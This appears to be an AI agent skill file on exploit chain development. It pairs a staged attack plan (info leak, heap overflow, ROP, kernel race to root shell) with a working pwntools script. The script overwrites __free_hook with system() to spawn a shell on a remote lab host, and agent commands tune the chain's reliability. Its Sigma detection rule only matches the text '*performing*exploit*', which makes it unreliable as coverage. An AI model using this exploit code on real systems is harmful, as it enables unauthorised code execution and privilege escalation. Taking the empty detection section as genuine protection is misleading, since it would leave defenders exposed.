Performing Exploit Chain Development

name: performing-exploit-chain-development description: >- Develop multi-stage exploit chains that combine individual vulnerability primitives into full attack paths from initial access through privilege escalation to objective completion. domain: cybersecurity subdomain: exploit-development tags: - exploit-chain - multi-stage - pivoting - sandbox-escape - rop-chain version: "1.0" author: defconxt license: AGPL-3.0 metadata: mitre-attack: ["T1190", "T1068", "T1203", "T1055"] frameworks: ["MITRE ATT&CK", "Metasploit"] tools: ["python3", "pwntools", "msfconsole", "gdb"]

Performing Exploit Chain Development

Overview

Exploit chains combine multiple vulnerability primitives — information leaks, memory corruption, logic bugs — into complete attack sequences. Each stage provides the primitive needed by the next: leak defeats ASLR, corruption gives write, write achieves execution, execution escapes sandbox.

Prerequisites

Workflow

Step 1: Primitive Inventory

Chain Architecture:
├── Stage 0: Information Leak
│   ├── Primitive: OOB read via type confusion
│   ├── Output: libc base address, heap base
│   └── Reliability: 100%
├── Stage 1: Arbitrary Write
│   ├── Primitive: Heap overflow → corrupted vtable pointer
│   ├── Input: Addresses from Stage 0
│   ├── Output: Controlled function pointer call
│   └── Reliability: 95%
├── Stage 2: Code Execution
│   ├── Primitive: ROP chain via controlled call
│   ├── Input: Write primitive from Stage 1
│   ├── Output: Shellcode execution in renderer
│   └── Reliability: 98%
└── Stage 3: Privilege Escalation
    ├── Primitive: Kernel race condition
    ├── Input: Userland code execution from Stage 2
    ├── Output: Root shell
    └── Reliability: 80%

Step 2: Chain Implementation

from pwn import *

context.binary = elf = ELF("./target")
libc = ELF("./libc.so.6")

def stage0_leak(p):
    """Information leak: defeat ASLR."""
    p.sendlineafter(b"> ", b"1")  # trigger OOB read
    leak = u64(p.recv(8))
    libc.address = leak - libc.symbols["__libc_start_main"]
    log.success(f"Stage 0: libc @ {hex(libc.address)}")
    return libc.address

def stage1_write(p, libc_base):
    """Arbitrary write via heap overflow."""
    target_addr = libc_base + libc.symbols["__free_hook"]
    system_addr = libc_base + libc.symbols["system"]
    payload = flat(b"A" * 64, p64(target_addr), p64(system_addr))
    p.sendlineafter(b"> ", b"2")
    p.send(payload)
    log.success(f"Stage 1: __free_hook -> system()")

def stage2_execute(p):
    """Trigger code execution via corrupted hook."""
    p.sendlineafter(b"> ", b"/bin/sh\x00")
    log.success("Stage 2: Shell triggered")
    p.interactive()

p = remote("target.lab", 9999)
libc_base = stage0_leak(p)
stage1_write(p, libc_base)
stage2_execute(p)

Step 3: Chain Reliability Testing

# Test full chain reliability
node scripts/agent.js test-chain --exploit chain.py --target target.lab \
  --port 9999 --runs 100

# Test individual stages in isolation
node scripts/agent.js test-stage --exploit chain.py --stage 0 --runs 100
node scripts/agent.js test-stage --exploit chain.py --stage 1 --runs 100

Step 4: Chain Optimization

# Identify reliability bottleneck
node scripts/agent.js analyze-chain --exploit chain.py --results chain_results.json

# Timing analysis for race conditions
node scripts/agent.js timing --exploit chain.py --stage 3 --samples 1000

Detection

title: Exploit Chain Development Detection
id: c131f54f-35bf-4753-a09a-878da2b6194a
status: experimental
description: Detects suspicious activity related to performing exploit chain development techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*exploit*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1068
  - attack.t1203
  - attack.t1055
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures

Detection Opportunities

Verification

• Each chain stage validated independently (>95% reliability)
• Full chain tested end-to-end (>80% reliability target)
• Failure modes documented with recovery strategies
• Chain timing constraints identified and optimized
• Detection signatures cover each chain stage

References

• pwntools — Exploit development framework
• MITRE ATT&CK Techniques — Chained technique patterns
• Phrack Magazine — Advanced exploitation research